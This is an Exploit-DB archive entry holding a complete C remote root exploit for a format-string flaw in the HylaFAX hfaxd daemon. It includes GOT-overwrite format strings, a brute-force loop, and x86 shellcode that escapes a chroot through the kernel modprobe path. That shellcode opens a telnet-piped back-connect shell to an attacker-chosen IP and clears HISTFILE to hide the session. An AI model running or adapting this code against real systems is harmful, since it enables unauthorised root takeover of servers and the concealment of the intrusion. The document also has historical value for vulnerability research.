Hylafax 4.1.x - HFaxD Format String

EDB-ID:

23371




Platform:

Linux

Date:

2003-11-10


// source: https://www.securityfocus.com/bid/9005/info

Hylafax hfaxd (daemon) has been reported prone to an unspecified format string vulnerability that may be exploited under non-standard configurations to execute arbitrary instructions remotely as the root user.

/*** Hylafax remote root PoC exploit
     (C) 2003 Sebastian Krahmer  <krahmer@cs.uni-potsdam.de>

        *** FOR EDUCATIONAL PURPOSES ONLY ****

The phrack 59 (www.phrack.org !) article about format strings
on the heap helped a lot. Thanks to gera, fozzy and juliano
for hints.


How to get the right n$ values from syslog:

Sep 29 05:16:22 linux HylaFAX[2704]: command: site trigger %350$x
Sep 29 05:16:22 linux HylaFAX[2704]: ??? bfffff24

So, %350$n is a good choice since a write would located on valid stack.

Sep 29 05:05:24 linux HylaFAX[2644]: command: site trigger %959$x
Sep 29 05:05:24 linux HylaFAX[2644]: ??? 4f464e49

At 0xbffff24 you find the value 0x4f464e49 via gdb, and
brute forcing %1$x to %1000$x shows that at %959$x (see syslog
output above) the value of the 0xbffff24 pointer can be found.
Thus we first write the GOT address we want to modify to 0xbffff24
via the %350$n and then using the value of *0xbffff24 (which is the
address of the GOT entry we want to modify) as a pointer again to
finally write the GOT entry.

strace -i -e raw=read -etrace=read  -f -p 3293 2>&1

[pid  3313] [402ec328] read(0, 0x808c6b8, 0x400) = 0x400
                               ^^^^^^^^^ network input buffer

[pid  3313] [402ec328] read(0, 0x808c6b8, 0x400) = 0x9

(gdb) x/100x 0x808c6b8
...
0x808c6f8:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c708:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c718:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c728:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c738:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c748:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c758:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c768:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c778:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c788:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c798:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c7a8:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c7b8:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c7c8:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
...

0x804c1f0 <fprintf>:    jmp    *0x80835e0
(gdb) x/i 0x804c1f0

Thus, some value like 0x808c6b8 should be written to the address 0x80835e0.
This gives the format strings:

 site trigger %%134755804d%%350$n\n"
                ^^^^^^^^^ This is the GOT entry minus 4 (0x80835e0-4)

 site trigger %%%ud%%%d$n\n",
                 ^^ here the address of the buffer holding the shellcode
                    is palced i.e. 0x808c780. This is variable in the
                    target struct.


The 0th target (-t 0) is a debug target which makes hfaxd sending all
the fine stuff to syslogd. Then you can look which n$ are usable.

Now for the shellcode: we need a chroot breakign one. It mounts proc
to the chroot cage, modifies modprobe path via it and triggers a
modprobe call by kernel via an invalid ELF file. The called
"modprobe" is indeed a back-connecting shellscript. Outta.


<--- shellcode -->
; nasm -f elf code.s

GLOBAL cbegin
GLOBAL cend

cbegin:
	xor eax, eax
	mov al, 23
	xor ebx, ebx
	int 0x80		; setuid(0)

	jmp short proc1

; mount proc FS

mountit:
	pop ebx
	xor ecx, ecx
	mov [ebx+4], cl		; terminate string with \0
	xor eax, eax
	mov al, 39
	xor ecx, ecx
	mov cx, 0x1ff
	int 0x80		; mkdir("proc", 0755);

	mov ecx, ebx
	mov edx, ebx
	xor esi, esi
	xor edi, edi
	xor eax, eax
	mov al, 21		; mount("proc", "proc", "proc", 0, NULL)
	int 0x80

	jmp short pshell1

; open connect shell script
op:
	pop ebx
	xor eax, eax
	mov [ebx+1], al		; terminate string with \0
	mov al, 8
	xor ecx, ecx
	mov cx, 0x1ff
	int 0x80		; creat("p", 0777);	


	jmp short connect1

proc1:	
	jmp short proc
; write it 
wp:
	pop ecx
	mov ebx, eax
	dec byte [ecx+9]	; create a '\n'
	mov al, 4
	xor edx, edx
	mov dl, 68
	int 0x80		; write("#!/bin/sh...", 68)

	mov al, 6
	int 0x80		; close

	jmp short elfp

; open weird ELF file to trigger modprobe
oelf:
	pop ebx
	xor eax, eax
	mov [ebx+3], al		; terminate string with \0
	mov al, 8
	xor ecx, ecx
	mov cx, 0x1ff
	int 0x80		; creat("elf", 0777);	

	jmp short elfh		;

; write weird ELF
welf:	pop ecx
	mov ebx, eax		; fd to ebx
	xor edx, edx
	mov dl, 20
	mov al, 4
	int 0x80		; write()

	mov al, 6
	int 0x80		; close weird ELF

	jmp short modp

pshell1:
	jmp short pshell

om:
	pop ebx
	xor eax, eax
	mov al, 5
	xor ecx, ecx
	mov [ebx+24], cl
	inc cl
	int 0x80		; open("...modprobe", 1)

	jmp short mpath

wm:
	pop ecx
	mov ebx, eax		; fd to ebx
	mov al, 4
	xor edx, edx
	mov dl, 16
	int 0x80		; write(fd, "/var/spool/fax/p", 16)
	
	mov al, 6
	int 0x80		; close


	mov al, 11
	xor ecx, ecx

	jmp short elfp2	

connect1:
	jmp short connect

exec:
	pop ebx
	mov [ebx+3], cl
	push ecx
	push ebx
	mov ecx, esp
	xor edx, edx
	int 0x80		; execve("elf",...)


proc:
	call mountit
	db "proc."

elfp:				; ELF path
	call oelf
	db "elf."

elfh:				; ELF header triggering modprobe
	call welf
	db 0x45, 0x7f, 0x46, 0x4c, 0x01, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1
	db 0x1, 0x1, 0x1, 0x1, 0x1, 0x2, 0x22, 0x22

mpath:
	call wm
	db "/var/spool/fax/p"

pshell: 
	call op
	db "p."

modp:
	call om
	db "proc/sys/kernel/modprobe."

elfp2:
	call exec
	db "elf."

connect:
	call wp
	db "#!/bin/sh",0xb
;	db "telnet 127.000.000.001 3128|sh|telnet 127.000.000.001 8080"
cend:

<-- shellcode -->


$ ./a.out -h 127.0.0.1 -t 1 -b 192.168.0.1

>>> Hylafax exploit <<<

> Attempting to exploit hylafax-4.1.5-43 on 127.0.0.1:(4559)

site trigger %134755804d%350$n
site trigger %134793088d%967$n

.....
Connected!
Trying 192.168.000.001...
Connected to 192.168.000.001.
Escape character is '^]'.
Linux linux 2.4.20-4GB #1 Mon Mar 17 17:54:44 UTC 2003 i686 unknown unknown GNU/Linux
uid=0(root) gid=0(root) groups=0(root)
 12:29:38 up  9:07,  6 users,  load average: 2.25, 2.10, 2.23
USER     TTY        LOGIN@   IDLE   JCPU   PCPU WHAT
stealth  tty2      03:23   48:24   0.73s  0.05s /usr/X11R6/bin/xinit4
stealth  pts/2     11:42    1:41   0.61s  1.06s xterm
stealth  pts/1     11:42    1.00s  4.50s  0.01s ./a.out -h 127.0.0.1 -t 1 -b 19
stealth  pts/3     11:42    6.00s  0.66s  3.08s xterm
stealth  pts/4     12:24    2:52   0.27s  0.30s xterm

In order to work, the config need a debug level of at least 2:

ServerTracing:          0x002

in hfaxd.conf.

***/

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <netdb.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <sys/time.h>



/* Shellcodes. 
 */
unsigned char x86_sigtrap[] = 
	"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
	"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
	"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
	"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
	"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
	"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
	"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
	"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
	"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
	"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
	"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
	"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
	"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc";


unsigned char x86_lnx_create_blub[] =
	"\x31\xc0\xb0\x17\x31\xdb\xcd\x80"
	"\x31\xc0\xb0\x08\xeb\x0e\x5b\x31\xc9\x88\x4b\x04"
	"\xcd\x80\x31\xc0\xb0\x01\xcd\x80\xe8\xed\xff\xff"
	"\xff\x62\x6c\x75\x62\x31\xc0\x40\xcd\x80";



unsigned char x86_lnx_proc_chroot_backconnect[] =
	"\x31\xc0\xb0\x17\x31\xdb\xcd\x80\xeb\x34\x5b\x31"
	"\xc9\x88\x4b\x04\x31\xc0\xb0\x27\x31\xc9\x66\xb9"
	"\xff\x01\xcd\x80\x89\xd9\x89\xda\x31\xf6\x31\xff"
	"\x31\xc0\xb0\x15\xcd\x80\xeb\x4b\x5b\x31\xc0\x88"
	"\x43\x01\xb0\x08\x31\xc9\x66\xb9\xff\x01\xcd\x80"
	"\xeb\x60\xeb\x6c\x59\x89\xc3\xfe\x49\x09\xb0\x04"
	"\x31\xd2\xb2\x44\xcd\x80\xb0\x06\xcd\x80\xeb\x62"
	"\x5b\x31\xc0\x88\x43\x03\xb0\x08\x31\xc9\x66\xb9"
	"\xff\x01\xcd\x80\xeb\x59\x59\x89\xc3\x31\xd2\xb2"
	"\x14\xb0\x04\xcd\x80\xb0\x06\xcd\x80\xeb\x7d\xeb"
	"\x74\x5b\x31\xc0\xb0\x05\x31\xc9\x88\x4b\x18\xfe"
	"\xc1\xcd\x80\xeb\x4f\x59\x89\xc3\xb0\x04\x31\xd2"
	"\xb2\x10\xcd\x80\xb0\x06\xcd\x80\xb0\x0b\x31\xc9"
	"\xeb\x74\xeb\x7b\x5b\x88\x4b\x03\x51\x53\x89\xe1"
	"\x31\xd2\xcd\x80\xe8\x59\xff\xff\xff\x70\x72\x6f"
	"\x63\x2e\xe8\x99\xff\xff\xff\x65\x6c\x66\x2e\xe8"
	"\xa2\xff\xff\xff\x45\x7f\x46\x4c\x01\x01\x01\x01"
	"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x02\x22\x22"
	"\xe8\xac\xff\xff\xff\x2f\x76\x61\x72\x2f\x73\x70"
	"\x6f\x6f\x6c\x2f\x66\x61\x78\x2f\x70\xe8\x3a\xff"
	"\xff\xff\x70\x2e\xe8\x80\xff\xff\xff\x70\x72\x6f"
	"\x63\x2f\x73\x79\x73\x2f\x6b\x65\x72\x6e\x65\x6c"
	"\x2f\x6d\x6f\x64\x70\x72\x6f\x62\x65\x2e\xe8\x89"
	"\xff\xff\xff\x65\x6c\x66\x2e\xe8\x20\xff\xff\xff"
	"\x23\x21\x2f\x62\x69\x6e\x2f\x73\x68\x0b";


unsigned char back_ip[128];

struct {
	char *dist, *package, *fmt, *code;
	u_int16_t n1, n2;
	u_int32_t nbuf;
} targets[] = {
	{ "debug", "debug", "debug", "debug", 0, 1, 0
	},
	{ "SuSE Linux 8.2",
	  "hylafax-4.1.5-43",
	  "site trigger %%134755804d%%350$n\n"
	  "site trigger %%%ud%%%d$n\n", // 350->bfffff24, 963->4f464e49
	  x86_lnx_proc_chroot_backconnect,
	  950, 999,	/* start/stop values for bruteforcing 2nd n$ */
	  0x808c780
	},
	{ "SuSE Linux 8.1",
	  "hylafax-4.1.3-32",
	  "site trigger %%134748344d%%334$n\n"//0x804c1d4, *0x80818bc
	  "site trigger %%%ud%%%d$n\n", // 334->bfffff24, 947->4f464e49
	  x86_lnx_proc_chroot_backconnect,
	  940, 999,
	  0x808aa00 
	}
	
};

int verbose = 0;

int list_targets()
{
	int i;
	for (i = 0; i < sizeof(targets)/sizeof(targets[0]); ++i) {
		printf("\n%d: %s / %s\n", i, targets[i].dist, targets[i].package);
	}
	return 0;
}


void die(const char *s)
{
	perror(s);
	exit(errno);
}


int writen(int fd, const void *buf, size_t len)
{
	int o = 0, n;

	while (len > 0) {
		if ((n = write(fd, buf+o, len)) < 0)
			return n;
		len -= n;
		o += n;
	}
	return o;
}

/* Simple tcp_connect(). Disables Nagle.
 */
int tcp_connect(const char *host, u_short port)
{
	int sock, one = 1, len = sizeof(one);
	struct hostent *he;
	struct sockaddr_in sin;

	if ((sock = socket(PF_INET, SOCK_STREAM, 0)) < 0)
		die("sock");

	if ((he = gethostbyname(host)) == NULL) {
		herror("gethostbyname");
		exit(EXIT_FAILURE);
	}

	memset(&sin, 0, sizeof(sin));
	memcpy(&sin.sin_addr, he->h_addr, he->h_length);
	sin.sin_family = AF_INET;
	sin.sin_port = port == 0 ? htons(4559):htons(port);

	if (connect(sock, (struct sockaddr*)&sin, sizeof(sin)) < 0) {
		close(sock);
		return -1;
	}
	if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, &one, len) < 0)
		die("setsockopt");

	return sock;
}


void usage(const char *s)
{
	fprintf(stderr, "\nHylafucks remote hylafax PoC exploit\n\n" 
	                "Usage: %s [-u user] [-p pass] <-h host> [-p port] [-v] [-t target] <-b connect IP>\n\n"
	                "\t-u user:\tthe user to login as (default 'foo')\n"
	                "\t-p pass:\tthe password (default 'bar', note: user/pass are not always\n"
	                "\t\t\trequired on all setups\n"
	                "\t-t target:\tspecifies remote package/OS\n"
	                "\t-b IP:\t\tthe IP for the back-connect\n\n"
	                "use -t -1 for a target list. 0 is debug target; 1 is default.\n"
	                "Port 3128 and 8080 are used on local machine for the backconnect.\n\n", s);
	exit(1);
}


void wait4shell(int p)
{
	int	l, s1, s2, a1, a2;
	char	buf[512];
	fd_set	rfds;
	char *cmd = "unset HISTFILE;uname -a;id;w\n";
	struct sockaddr_in p8080, p3128;

	memset(&p8080, 0, sizeof(p8080));
	memset(&p3128, 0, sizeof(p3128));

	/* Open 2 ports: 3128 and 8080 */
	p8080.sin_family = AF_INET;
	p8080.sin_addr.s_addr = INADDR_ANY;
	p8080.sin_port = htons(8080);
	p3128.sin_family = AF_INET;
	p3128.sin_addr.s_addr = INADDR_ANY;
	p3128.sin_port = htons(3128);

	if ((s1 = socket(PF_INET, SOCK_STREAM, 0)) < 0)
		die("wait4shell::socket/1");
	if ((s2 = socket(PF_INET, SOCK_STREAM, 0)) < 0)
		die("wait4shell::socket/2");
	if (bind(s1, (struct sockaddr*)&p3128, sizeof(p3128)) < 0)
		die("wait4shell::bind/1");
	if (bind(s2, (struct sockaddr*)&p8080, sizeof(p8080)) < 0)
		die("wait4shell::bind/2");

	if (listen(s1, 1) < 0)
		die("wait4shell::listen/1");
	if (listen(s2, 1) < 0)
		die("wait4shell::listen/2");

	if ((a1 = accept(s1, NULL, 0)) < 0)
		die("wait4shell::accept/1");
	if ((a2 = accept(s2, NULL, 0)) < 0)
		die("wait4shell::accept/1");

	printf("\nConnected!\n");
	kill(p, SIGKILL);

	if (writen(a1, cmd, strlen(cmd)) < 0)
		die("wait4shell::write");

	while (1) {
		FD_ZERO(&rfds);
		FD_SET(0, &rfds);
		FD_SET(a1, &rfds);
		FD_SET(a2, &rfds);

		select(a2 + 1, &rfds, NULL, NULL, NULL);
		if (FD_ISSET(0, &rfds)) {
			l = read(0, buf, sizeof (buf));
			if (l <= 0)
				die("wait4shell::read");
			writen(a1, buf, l);
		}
		if (FD_ISSET(a2, &rfds)) {
			l = read(a2, buf, sizeof (buf));
			if (l == 0) {
				printf("connection closed by foreign host.\n");
				exit(EXIT_FAILURE);
			} else if (l < 0)
				die("wait4shell::read remote");
			writen(1, buf, l);
		}
	}
}


int expect_reply(int peer, const char *reply, char *buf, size_t blen)
{
	int done = 0, i = 0;

	memset(buf, 0, blen);
	while (!done) {
		if (i >= blen)
			die("Nuts! Too much response.");
		if (read(peer, &buf[i], 1) != 1)
			die("expect_reply::read");
		++i;
		if (buf[i-1] == '\n') {
			if (verbose)
				printf("[\n%s]\n", buf);
			if (strstr(buf, reply) != NULL)
				done = 1;
			else {
				memset(buf, 0, blen);
				i = 0;
			}
		}
	}
	return 0;
}


int send_overflow(char *host, int port, int target, char *user, char *pass)
{
	char buf[1024], *crash = NULL, bip[128];
	unsigned int i = 0;
	int peer = -1, r = 0;
	fd_set rset;
	struct timeval tv;


	for (i = targets[target].n1; i < targets[target].n2; ++i) {
		close(peer);
		peer = tcp_connect(host, port);
		if (peer < 0)
			die("send_overflow::tcp_connect");
		expect_reply(peer, "220", buf, sizeof(buf));

		/* build shellcode with back-connect IP; reserve space first */
		crash = malloc(strlen(targets[target].code) +
		               sizeof("telnet 127.000.000.001 3128|sh|"
 		                      "telnet 127.000.000.001 8080"));
		snprintf(bip, sizeof(bip), "telnet %s 3128|sh|telnet %s 8080",
			back_ip, back_ip);
		sprintf(crash, "%s%s", targets[target].code, bip);

		memset(buf, 0x90, sizeof(buf));

		/* ehm... */
		strcpy(&buf[sizeof(buf)-1]-strlen(crash)-1, crash);
		free(crash);

		buf[sizeof(buf)-1] = '\n';
		if (writen(peer, buf, sizeof(buf)) < 0)
			die("send_overflow::writen/shellcode");
		expect_reply(peer, "500", buf, sizeof(buf));
		expect_reply(peer, "500", buf, sizeof(buf));

		/* USER/PASS epilogue */
		snprintf(buf, sizeof(buf), "user %s\n", user);
		if (writen(peer, buf, strlen(buf)) < 0)
			die("send_overflow::writen/user");
		expect_reply(peer, "\n", buf, sizeof(buf));
		snprintf(buf, sizeof(buf), "pass %s\n", pass);
		if (writen(peer, buf, strlen(buf)) < 0)
			die("writen/pass");
		expect_reply(peer, "\n", buf, sizeof(buf));
	
		if (strcmp(targets[target].dist, "debug") == 0) {
			read(0,buf,1);
			for (i = 1; i < 1000; ++i) {
				sprintf(buf, "site trigger %%%d$x\n", i);
				writen(peer, buf, strlen(buf));
				usleep(30000);
			}
			break;
		}


		snprintf(buf, sizeof(buf), targets[target].fmt,
		         targets[target].nbuf, i);

		if (writen(peer, buf, strlen(buf)) < 0)
			die("send_overflow::read");
		printf("%s\n", buf);

		while (1) {
			FD_ZERO(&rset);
			FD_SET(peer, &rset);
			tv.tv_sec = 1;
			tv.tv_usec = 0;
			r = select(peer+1, &rset, NULL, NULL, &tv);
			if (!FD_ISSET(peer, &rset)) {
				printf(".");
				continue;
			}

			r = read(peer, buf, sizeof(buf));
			break;
		}
		printf("\n");
	}


	return peer;
}


int main(int argc, char **argv)
{
	int peer = -1, c = 0, target = 1, port = 0,
	    d1 = 0, d2 = 0, d3 = 0, d4 = 0, p = 0;
	char *host = NULL, *back = NULL, *user = "foo", *pass = "bar";


	while ((c = getopt(argc, argv, "h:p:t:vb:u:P:")) != -1) {
		switch (c) {
		case 'h':
			host = strdup(optarg);
			break;
		case 'p':
			port = atoi(optarg);
			break;
		case 't':
			target = atoi(optarg);
			break;
		case 'v':
			verbose = 1;
			break;
		case 'b':
			back = strdup(optarg);
			break;
		case 'u':
			user = strdup(optarg);
			break;
		case 'P':
			pass = strdup(optarg);
			break;
		default:
			usage(argv[0]);
		}
	}

	printf("\n>>> Hylafax exploit <<<\n\n");
	
	if (target == -1) {
		list_targets();
		return 0;
	}

	if (!host || !back)
		usage(argv[0]);

	if (target >= sizeof(targets)/sizeof(targets[0])) {
		fprintf(stderr, "Invalid target!\n");
		return 1;
	}

	/* normalize IP */
	sscanf(back, "%d.%d.%d.%d", &d1, &d2, &d3, &d4);
	sprintf(back_ip, "%03d.%03d.%03d.%03d", d1, d2, d3, d4);

	if (verbose)
		printf("Normalized back-connect IP: %s\n", back_ip);


	setbuffer(stdout, NULL, 0);

       printf("> Attempting to exploit %s on %s:(%d)\n\n",
		targets[target].package, host, port?port:4459);

	if (target != 0) {
		if ((p = fork()) > 0)
			wait4shell(p);
	}

	peer = send_overflow(host, port, target, user, pass);

	fprintf(stderr, "Failed to exploit '%s'\n", host);
	return 0;
}